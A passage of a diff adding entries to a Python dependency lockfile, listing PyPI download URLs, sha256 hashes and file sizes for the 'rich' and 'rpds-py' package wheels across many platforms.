+ { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" },
+]
+
+[[package]]
+name = "rpds-py"
+version = "2026.5.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/2e/43/25a8dcd3feedd735039a8f0b5b7e3b118232b5eae288c4fd9ab200d41094/rpds_py-2026.5.1.tar.gz", hash = "sha256:07b24fea40541e28570e5b795a4a38fbdcd12550c06bd0748005ecc8116ca256", size = 64459, upload-time = "2026-05-28T12:02:13.232Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d4/e7/a78582dc57caa592dcc7d4fb69b61390561e908eb3d2f5df5928a8e354c0/rpds_py-2026.5.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3abe24a66e57adcfa645d718063a5fa5103ecc71ddbf26d78af8f9368018ff1d", size = 353040, upload-time = "2026-05-28T11:59:12.531Z" },
+ { url = "https://files.pythonhosted.org/packages/a3/43/35e3f136343aef451e545ce8c38d36c2f93c0ed88703db8b64ba2b205c68/rpds_py-2026.5.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:58b1d94308ddf0b1982f61f2eb54bf92997c9ece8a8093ef014250f4a517906c", size = 345775, upload-time = "2026-05-28T11:59:13.827Z" },
+ { url = "https://files.pythonhosted.org/packages/20/e1/0f2160c5982d3157734d5cb3ed63d8b2d583a73c9864f77b666449f32cf8/rpds_py-2026.5.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fa92420128dadce7f54bd73ba1825a273e9268fe9e35dbf7e6362890efa4e08", size = 376329, upload-time = "2026-05-28T11:59:15.271Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/11/ee0ba42aff83bf4effdbc576673c6be64c5e173978c3f6d537e94482f77d/rpds_py-2026.5.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ca653c6546386227cd9800d1bef6a348099acf8db4250341da6d90f663d6dfcb", size = 383539, upload-time = "2026-05-28T11:59:16.665Z" },
+ { url = "https://files.pythonhosted.org/packages/11/df/d94aa6a499d4ac40afe2d7620f2c597fd3c0f182e854ad7cf3f596a81cb6/rpds_py-2026.5.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:66c93681c4729e4e3ecba31b8179fae083ff3118841672835140338b4b9867c1", size = 494674, upload-time = "2026-05-28T11:59:17.991Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/75/33d30f43bb2f458de11979486a591b1bf6e5651765ed1704c6197c2dc773/rpds_py-2026.5.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:40ff257542e04796880e011e15cd4dc21c2599975df2aaa8f2c8495ca574e1a5", size = 389268, upload-time = "2026-05-28T11:59:19.434Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/1e/2c9096fc19d5fd084b0184ca2b651e659aa0a37e6fdbecf6ece47f147fe1/rpds_py-2026.5.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b6825cc329b290e93c5f6a9be2393118a763f6ccf6abd83704e0c102ca583644", size = 376280, upload-time = "2026-05-28T11:59:21Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/e5/61ec9f8be8211ea7f48448195549e4aaf02004083475493b0e137702ecb2/rpds_py-2026.5.1-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:de42116e69cb53b911cc34aee5ab98f36c597b822545045d49e938818b99e5e4", size = 387233, upload-time = "2026-05-28T11:59:22.454Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/ca/bcec1005c4f4a234f92a29078631fee49206c7265ccae966f18fd332e80e/rpds_py-2026.5.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c0f920015df2a504bebaba6d4c31ccf3fcf942f92655c086da30b671aad19aa6", size = 405009, upload-time = "2026-05-28T11:59:23.845Z" },
+ { url = "https://files.pythonhosted.org/packages/72/e6/4d5718c5cf26c522dc7c9999e238da1e77380b81d0c5d1df11e271ddfeb1/rpds_py-2026.5.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0408a24e44feb919423dc6d9da677cb5cddb894d2ca9e763967d156d9c60fab4", size = 553113, upload-time = "2026-05-28T11:59:25.184Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/25/2ee807bdb3e1f0b7eddf7782acd5665a8b5205a331a7d7244a52c4812fd9/rpds_py-2026.5.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cea68bcd53467561ae2f96a6bdad1544299ba97b5b0ddcd5ac3d376e5c781c24", size = 618838, upload-time = "2026-05-28T11:59:26.749Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/c1/7d4c26f167f8c41501cc073d30ee22082b16ce358cf5b00ec97cbc7804ea/rpds_py-2026.5.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:4be8b1d2a705cc37d08256004e1d07de143fa0075c8e85a3df020b776f62b732", size = 582436, upload-time = "2026-05-28T11:59:28.11Z" },
+ { url = "https://files.pythonhosted.org/packages/04/1d/9d12b0a337bab46f4769f8857f4007e3b2d639e14f9a44a0efe157696e64/rpds_py-2026.5.1-cp312-cp312-win32.whl", hash = "sha256:6736718bd4fc49cbcb538ba30516fdbef161522acefb739657d48b97bd864fed", size = 212734, upload-time = "2026-05-28T11:59:29.689Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/93/e4116f2de7f56bc7406a76033dc501811ddeb22b7f056b92d632871ebb0c/rpds_py-2026.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:0a7d1eec967df0e9b22614a5e177622e0c89611d03727fa0cb48e45028907870", size = 229045, upload-time = "2026-05-28T11:59:31.033Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/53/6c3419d85eb2ec5938a37627c585b42d76a63bb731d6e42ed4b079ebf486/rpds_py-2026.5.1-cp312-cp312-win_arm64.whl", hash = "sha256:1841d067089e117142d79b98aa0df2f08b52f2ecc1819dd2700636c0db74a473", size = 223967, upload-time = "2026-05-28T11:59:32.318Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/32/14c961ad295f490eb0849ada8b79683e93a59b9de3afdd983eaf55fa6867/rpds_py-2026.5.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:efef4ac29c6ff495531eb17ee705b62841ecaa291b7c7077e848ea03e237164d", size = 352787, upload-time = "2026-05-28T11:59:33.655Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/bb/d1b85117967c11191441a7274ae616c65d93901d082c588f89a50a8da5ae/rpds_py-2026.5.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c39f5b67a8a2e67179ada2a954227d670fe65fa9098457f698f56ddf248709b3", size = 345179, upload-time = "2026-05-28T11:59:35Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/46/d84105f062e626a1b233f863907288a4708c2d833b8b4c6fb2764bc080c0/rpds_py-2026.5.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b5c30f3f04eef4fbd362226a6f31d7c8895ca4fbb6e0b790f6890a98d8da8559", size = 376173, upload-time = "2026-05-28T11:59:36.43Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/ae/469d7959ce5b1201e1de135dc735b86db3b35dd0d1734f6a44246d5f061c/rpds_py-2026.5.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:277f6c82f0580848796c7ecc8a7173aa3bfb928e4ff831261c2f60a81dc270db", size = 383162, upload-time = "2026-05-28T11:59:37.995Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/a2/57853d31a1116a561aa072794602ad3f6341e18d70a8523f1bd5b9fc1e5a/rpds_py-2026.5.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:63c2c4c213f1a4e3f3de28ecab029dbdee976324e729c0d7a55211be72576b02", size = 495093, upload-time = "2026-05-28T11:59:39.453Z" },
+ { url = "https://files.pythonhosted.org/packages/99/63/3a8eabcad9314b7daf5c65f451d2c33d989235cd8a5762186cf2c3f5a4f8/rpds_py-2026.5.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3350ec808fb538fe71a1f94dfaa0e29c598dfad805ce49f0caec5ae3183c652b", size = 389829, upload-time = "2026-05-28T11:59:40.896Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/25/05678d97fc25e2622df14dc530fb82023174ecfff6733991ed0d78f167bd/rpds_py-2026.5.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1b964e3ab599e718dc46c018d104b1ebc007cbc6567d827c94a687fca56d77e", size = 374786, upload-time = "2026-05-28T11:59:42.626Z" },
+ { url = "https://files.pythonhosted.org/packages/88/d1/8c90b6431e80a3b91b284a5c7c8c0c4f9c006444d90477a740d6e0f9c694/rpds_py-2026.5.1-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:19cb09fab7b7fc96b2a6e28f2e34b72a3705ff27b37edb77455316e5d3f3dc9b", size = 386920, upload-time = "2026-05-28T11:59:44.124Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/99/4638f672ab356682d633ee0da9255f5b67ce6efd0b85eb94ad3e255e65a5/rpds_py-2026.5.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:abe76bcdba31e576cb83eeb8797aa0d882b738fef6dc65d0601fc753806a5b46", size = 405059, upload-time = "2026-05-28T11:59:47.177Z" },
+ { url = "https://files.pythonhosted.org/packages/66/3f/3546524b6eb4cc2e1f363a3d638fa52f6c24faae3500c25fb488b02f1740/rpds_py-2026.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8bff7073db3899158fff55ebf57b113a67030af26f80a18978f9f0aa60250ddf", size = 553030, upload-time = "2026-05-28T11:59:48.603Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/c3/7b3388c796fcf471bd17194242d4dc1a7608567c0fa422bcc1c5e79f9c1e/rpds_py-2026.5.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:8ba264fa49be666cd9cc56bf34ec7002fb3d27a4aee5bcb4d43d0d18feb1bb6f", size = 618975, upload-time = "2026-05-28T11:59:50.314Z" },
+ { url = "https://files.pythonhosted.org/packages/61/1e/a3cb07f2795075d1d88efddae2f541359fde5f08c81ee114c29c2949c90a/rpds_py-2026.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4860b603ddda0475a8885499b3729e90229d480105b42651962a5397d995fa89", size = 581178, upload-time = "2026-05-28T11:59:51.673Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/74/e758c03a5ef46f04c37f2651a2893db846d569ba8a7bca469d4b58939bcd/rpds_py-2026.5.1-cp313-cp313-win32.whl", hash = "sha256:7944270ae71383f6e2657dd7d5ce4eeb4ac2d0059a6738f0510583d462ab4842", size = 212481, upload-time = "2026-05-28T11:59:53.148Z" },
+ { url = "https://files.pythonhosted.org/packages/70/ec/a2aca432db9c7359b40fa393eeeaa0d166c2f70175be956e75fa24197c44/rpds_py-2026.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:88647f43a73c4e01be19b04ceef0c8d3a1958153604d13c773becd8016f2a0cf", size = 228519, upload-time = "2026-05-28T11:59:54.505Z" },
+ { url = "https://files.pythonhosted.org/packages/29/60/a73bfdd45b096574556acf303bbd9fa9eed36ca8a818b514e2a5d5fe2b9d/rpds_py-2026.5.1-cp313-cp313-win_arm64.whl", hash = "sha256:453895624ecf7db7063b1004e44037522bbaef9ff6a945e59bc71662d7a03abd", size = 223446, upload-time = "2026-05-28T11:59:56.081Z" },
+ { url = "https://files.pythonhosted.org/packages/18/e2/408105fd611823f00882aea810f3989a30d26b1bab8b6beb20f98c724e0e/rpds_py-2026.5.1-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:b4e4bc98639ec915f512fde3aa7a95e0041d95d9c3cc86eea841fa63cb1e8600", size = 355287, upload-time = "2026-05-28T11:59:57.448Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/58/5c4a43436843c90d0f6d19f82c200c80e3843ca9fa07b237623327f6d384/rpds_py-2026.5.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:cacedb7a6e167680acba45ad5716e89067d225dc80da0d7040cae8c81d4572fa", size = 347033, upload-time = "2026-05-28T11:59:58.881Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/c2/1a71acdacaf4e259b10278fb87b039ded3cf80041bcd89dd8a3ea702ded6/rpds_py-2026.5.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68700371c5d7ae1412862ddfa719090925c93ecf351c566d66f09d04b136ea00", size = 376891, upload-time = "2026-05-28T12:00:00.516Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/c8/535f3d9b65addd8e28aa87b83c6e526799c3717a88273db8ea795beeef7a/rpds_py-2026.5.1-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:296c799becfa849c779c8725494fe9ed94959ed886787df4364b058465bad7f0", size = 385646, upload-time = "2026-05-28T12:00:02.394Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/91/dc033f313345c354ade914dbe73cdb90b615a4409ea02430d5356794f3d8/rpds_py-2026.5.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d3858b908218ee108d0bbfb2095ccc237648053c9bf98affad7cb079acaf1d97", size = 498830, upload-time = "2026-05-28T12:00:04.189Z" },
+ { url = "https://files.pythonhosted.org/packages/27/fc/90fcbea459dbb8ddc18a2e0fd1de9412b48bc84ffff2db771cf714bacfd6/rpds_py-2026.5.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4fb8d2e7cb2f850b169806d61d1b991738acec96500a75c30f49caf064ce7cef", size = 392830, upload-time = "2026-05-28T12:00:05.797Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/1d/46cd11a228c9750684a798d98f878be6f614aa762438da7378f035e79e35/rpds_py-2026.5.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:27b74c10ed6a8f190f4287f53bcfea348b92a84a9c9f70d30183d1e6172d580d", size = 379613, upload-time = "2026-05-28T12:00:07.433Z" },
+ { url = "https://files.pythonhosted.org/packages/24/4a/d9b0c6af3a1de03eb93741bbe8be2bdce84d8fda8224f3005451d86df389/rpds_py-2026.5.1-cp313-cp313t-manylinux_2_31_riscv64.whl", hash = "sha256:b9a6528956191c48c52294a592dbd4a8386d7048bdb25c0efcb6b966466c6d83", size = 388183, upload-time = "2026-05-28T12:00:09.227Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/b4/db7aaabdda6d020afc87d981bcc2f57a434c7dec60ecfc2ab3dd50b20351/rpds_py-2026.5.1-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:af03e34e860047bc7a352b842856fcf78798fbb81132cc98bd2f907ab4eb9cd2", size = 408578, upload-time = "2026-05-28T12:00:10.779Z" },
+ { url = "https://files.pythonhosted.org/packages/08/d6/070f6a41cbb343e2ac4171859bf3f3623e0ab002f72619d6d505313ec2de/rpds_py-2026.5.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:fea6e836d10abbe191d557d33bd58bd5987725fe63aa1eefe557d230209855bd", size = 553573, upload-time = "2026-05-28T12:00:12.443Z" },
+ { url = "https://files.pythonhosted.org/packages/75/ab/1a71ea3589c4345dac0a0518f0e6a031cb42689277851b683c46d27463a5/rpds_py-2026.5.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:fc0c0f878ea770a0a8a462456c5ad36fc9fe6358e6b76fdadc7f17575e0b8bf1", size = 620861, upload-time = "2026-05-28T12:00:14.09Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/22/9bf80a56069c0c443fcfefac639a86a744550a2898817a6dfd3e26654924/rpds_py-2026.5.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e0b360f316d966b048b085857630b3cc51f3db2f07b06f440eac8f695374d1e3", size = 585633, upload-time = "2026-05-28T12:00:15.66Z" },
+ { url = "https://files.pythonhosted.org/packages/da/68/3b2c0a75c9e04125696f84ebdbbf304acf5a40b58ba4481cdb98a922c3ba/rpds_py-2026.5.1-cp313-cp313t-win32.whl", hash = "sha256:a2999883eedf72fdfb7520b92c7d4ec2572a71ff40239377aa604cc529eecafc", size = 210074, upload-time = "2026-05-28T12:00:17.291Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/8b/609157d5a25d37d4f29f92840ba531f416907c34ae5c5739dd21fc2bef98/rpds_py-2026.5.1-cp313-cp313t-win_amd64.whl", hash = "sha256:e07be2a9d7122bd6e82dea89814ef8dc893feb1aae97fec1630f3263bbb30e55", size = 228635, upload-time = "2026-05-28T12:00:18.73Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/6f/19c1918a4b590d8de87e712e4abe4b3875771eff60216fb6153cf6665c68/rpds_py-2026.5.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:1f2c391c3059798093b65df23aca2cac150460ae9c630d99dec83d703d9485b9", size = 349756, upload-time = "2026-05-28T12:00:20.217Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/60/a06fe7da34eca79dacbf958a2ba0c6eea85bc2b29de20080bf40f72f66fa/rpds_py-2026.5.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:413b424f7c4ee65ab5e5be91f5731be0f8b41a1ee2b12dfe810d716312e95a78", size = 343831, upload-time = "2026-05-28T12:00:21.711Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/ec/b2333b97b90e2a6ef6ca8ad386ee284968e74bcfe113b3f1a8d9036429a9/rpds_py-2026.5.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2c595a1d9255dce0599e13130d1440ab2506654f2b50294226ee06402f8fef63", size = 375127, upload-time = "2026-05-28T12:00:23.326Z" },
+ { url = "https://files.pythonhosted.org/packages/14/7f/e00aae54067f2b488c4637961d5f58204d470795fc791085fa3f15060d2e/rpds_py-2026.5.1-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1c27c5f6102eac8c03e7595a00827a53b271ba40a53b59ff8709170e0855ea4a", size = 379034, upload-time = "2026-05-28T12:00:24.89Z" },
+ { url = "https://files.pythonhosted.org/packages/be/cc/423999bbb8ae8dc93c77fc1d5e984ade5eb89d237d3bb884ccfa72ae2890/rpds_py-2026.5.1-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6c7fcf61d44cacecaf3aea542b0e053db77972a4573e7ceda16fb2b399161195", size = 490823, upload-time = "2026-05-28T12:00:26.676Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/aa/c671bf660f12e68d3c52ff86c7066ed1372df5a0f4f2ff584e419b8207e7/rpds_py-2026.5.1-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2c817a189d4ee14290420e5ff051e4dd6baa13f3edf84685071dee07a6d538ee", size = 388144, upload-time = "2026-05-28T12:00:28.577Z" },
+ { url = "https://files.pythonhosted.org/packages/19/c8/d63bb75b68afe77b229e3021c6031bcaf01da5db5b0e69d0d10f9ba679a7/rpds_py-2026.5.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21846aac0ed2e0589f38c12dc44e77bb64e494b771eadbcf169cba00566ba7ba", size = 371959, upload-time = "2026-05-28T12:00:30.304Z" },
+ { url = "https://files.pythonhosted.org/packages/82/35/c51122014d8274ff37dc606d60049c3db7d83da02b5b282511e5a906a9a6/rpds_py-2026.5.1-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:b317c87a13f769a4e787819bd508aaa5d69aa09b0880de9af6d3a8a54571cdec", size = 383558, upload-time = "2026-05-28T12:00:31.764Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/f9/2790cb99c136a5363acdeacf5c27c56f3de0d4118a1f48fca83404c99c89/rpds_py-2026.5.1-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ce87129d9f2c14fa6c4a8601fb80eb4488c80d38a20cd13758ef11123e14995d", size = 402789, upload-time = "2026-05-28T12:00:33.247Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/1b/e4fb584f8c75d35c38150ff6a332cda949e6f97acba1f4fd123b14ab56fe/rpds_py-2026.5.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9cdddb6c1207d284d94fd1530adf57fbd797fe7c4b8704ba85f49414f2557e7d", size = 551405, upload-time = "2026-05-28T12:00:34.819Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/f7/a6731b4216cb3793ea1af5391da240f5683dacc0d13e034fe5fc3503f240/rpds_py-2026.5.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:4e237e139f94d3c036fd28eb9f564c99055476ff4ff05cd42be55ce349b5aa02", size = 616975, upload-time = "2026-05-28T12:00:36.268Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/ea/2e051a81d95d8e63f4b35a1c463a87e8766bc3d083c067c5dfb6bf220747/rpds_py-2026.5.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ed0954b524873214369184a9c82b0eaa45a3fbb9a798cd95b17e0d98499e7ea0", size = 578701, upload-time = "2026-05-28T12:00:37.82Z" },
+ { url = "https://files.pythonhosted.org/packages/65/56/b5f6fdb2083e32bca8a8993d89e70db114b4756c9e2c38421328126689d2/rpds_py-2026.5.1-cp314-cp314-win32.whl", hash = "sha256:2d88621d6a7d4dfa633d21abe90f280bb205274e16b1d1e61c6ad4640b2453b7", size = 209806, upload-time = "2026-05-28T12:00:39.492Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/80/65a5aa96c155e611d1ed844e4e1f57f3e36b021f396d9f8585d756e6b90d/rpds_py-2026.5.1-cp314-cp314-win_amd64.whl", hash = "sha256:cef8ac28d26f4dda3533060c20fbf80a325458fa9fd23ea72a73cdfa8e978838", size = 225985, upload-time = "2026-05-28T12:00:40.94Z" },
+ { url = "https://files.pythonhosted.org/packages/27/7c/ad185212e87b05f196daef92bc5f3caf07298eb47c295b5585c3dd3093ac/rpds_py-2026.5.1-cp314-cp314-win_arm64.whl", hash = "sha256:eaaea962c68cdc68d4a533ba985ab8e9484277910bbfaa2ab3ef7732667bfed8", size = 221219, upload-time = "2026-05-28T12:00:43.15Z" },
+ { url = "https://files.pythonhosted.org/packages/23/58/e14ae18759020334646b031e708ab4158d653a938822bfb7b95ef2e93aa3/rpds_py-2026.5.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:21942f52dbbd5f8758bf021213d28bd45c39e873e65e2407faf5f1846f5761ad", size = 352148, upload-time = "2026-05-28T12:00:44.638Z" },
+ { url = "https://files.pythonhosted.org/packages/31/9b/5f4a1e2f960bca3ac5d052b139dd31eed97b259f9d909173821760d542e8/rpds_py-2026.5.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f414556f6e3958300ff941e40c9f97e3dc9774ddd1b3434c475d73dd354bbed3", size = 345196, upload-time = "2026-05-28T12:00:46.14Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/71/1d9574d6a2fa20ab60eaa55c7467f5aa20cbc770f341a05f09c0876f59e2/rpds_py-2026.5.1-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef1013a8625c74043210190b246f5b1551e09757c1f356c6e4160ef96c5bc081", size = 374981, upload-time = "2026-05-28T12:00:47.531Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/9a/37e99f4915a80aa71670263c1267f7ae0af95f53a3f61e6c3bdc016d4515/rpds_py-2026.5.1-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cc68e231a77a5f0d774ae278a1f8e55c0456501820847c1e4efb3829f3441df6", size = 379961, upload-time = "2026-05-28T12:00:49.216Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/ff/6e73f74b89d2e0715e0fc86b7dde893f9a61ae2f9b256ff3bdfe41ac4e94/rpds_py-2026.5.1-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9baffb505aff33acc69b422a19f77806680f3c8632227d79f48de8a810d1c2c5", size = 495965, upload-time = "2026-05-28T12:00:51.111Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/e0/425faba25f59d74d4638b267f7c7a80e8649d2ef4db10a19b0c4a71e6e6f/rpds_py-2026.5.1-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8d2f912928d426e8cfa396f7f3f8d29a59e6689c86dcca3c420730c1096322b", size = 389526, upload-time = "2026-05-28T12:00:52.77Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/76/7a41960e3fddae47fab43a28684d5da981401dffd88253de0944148654cb/rpds_py-2026.5.1-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90f628283be835db980c941767d41c9a27b5239e54ba0a9c1335247e82406964", size = 376190, upload-time = "2026-05-28T12:00:54.215Z" },
+ { url = "https://files.pythonhosted.org/packages/27/60/5f38dc70824fc6951b51d35377e577a3a3a4c81a6769cc5a2de25ebe0ad1/rpds_py-2026.5.1-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:1ebb2f0ab7e16132995a72de805170e0203df0c3dd22e1ef1cd1fdd90bd7a131", size = 383921, upload-time = "2026-05-28T12:00:55.673Z" },
+ { url = "https://files.pythonhosted.org/packages/60/1a/d60a38caa1505f4b9483c3fbbde12c94e1079154f4f401a6da96f7e77621/rpds_py-2026.5.1-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f3df3d16ded76f1f8c9cdebd0e1ea55fdf4c23b812de189814da7cf229c22a81", size = 404766, upload-time = "2026-05-28T12:00:57.518Z" },
+ { url = "https://files.pythonhosted.org/packages/87/ff/602fd3f174d6425f0bce05ad0dfbec0e96b38d0f7d08a79af5aa20083885/rpds_py-2026.5.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:9af8905b8f854990e40d5206aa5ac58d9b0fe0b7f351ff2bb086c20f6c8c6a47", size = 551343, upload-time = "2026-05-28T12:00:58.978Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/c1/1be13327acdbead3eca1fde03b6a34dbb011f1e864e217f0d32cc1779a7f/rpds_py-2026.5.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:036a36a87fb1cd3b214d11c4b3c4f7d2ddad933625dca1c900b56a057c07740a", size = 618502, upload-time = "2026-05-28T12:01:00.656Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/d7/afb49b49d7f2be8b7ba1a9f0977fa5168003437b93086726f066544e8351/rpds_py-2026.5.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:62ae3853454fe9ef283a03c96c2d835d39e84b14643a9d62c82ef0fb87d702ca", size = 581916, upload-time = "2026-05-28T12:01:02.22Z" },
+ { url = "https://files.pythonhosted.org/packages/25/d1/dbef8c1f8a10f07beb62b5f054e20099fd9924b3ec001b8f0b6ac7813a85/rpds_py-2026.5.1-cp314-cp314t-win32.whl", hash = "sha256:6c3d771a46ec18b12af06ce36243a9a80b07a5d0515236332d90863ca8bb326a", size = 207855, upload-time = "2026-05-28T12:01:03.821Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/72/bfa4e61ab8e7dc1c8adf397e05e6cbdd4239357bd72b248d3de662f23915/rpds_py-2026.5.1-cp314-cp314t-win_amd64.whl", hash = "sha256:c93c629be4636cf54337bd5f06c104d55e42ced54d681f6fe21ae510a65116f6", size = 225422, upload-time = "2026-05-28T12:01:05.194Z" },
+ { url = "https://files.pythonhosted.org/packages/27/3a/7b5da92b640f67b6717ccafc83cdd06bfa7ff2395c3685c68922bb54d703/rpds_py-2026.5.1-cp315-cp315-macosx_10_12_x86_64.whl", hash = "sha256:3574b55c604b8f75dacb007136508bbc0db406e626301778096a133327e7f2fb", size = 349576, upload-time = "2026-05-28T12:01:06.722Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/8a/2aafd7ad355a1bd48ca76e2262b74b15e6432b5a1efe150efd4d779cd55d/rpds_py-2026.5.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:94068eb3ae6d43f5a786b7db96a406a34e6d5c24489feef32fd6e8946ea7b291", size = 343640, upload-time = "2026-05-28T12:01:08.441Z" },
+ { url = "https://files.pythonhosted.org/packages/f7/7d/6c9523c1abbe840a1b7fba3c516d48e1d3487cc80fea4366c4071cf56784/rpds_py-2026.5.1-cp315-cp315-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3a5b10e8ce894825f380a8f1b6444cf73c294dfea62afbb2d13e3a9e630cec1", size = 375322, upload-time = "2026-05-28T12:01:09.934Z" },
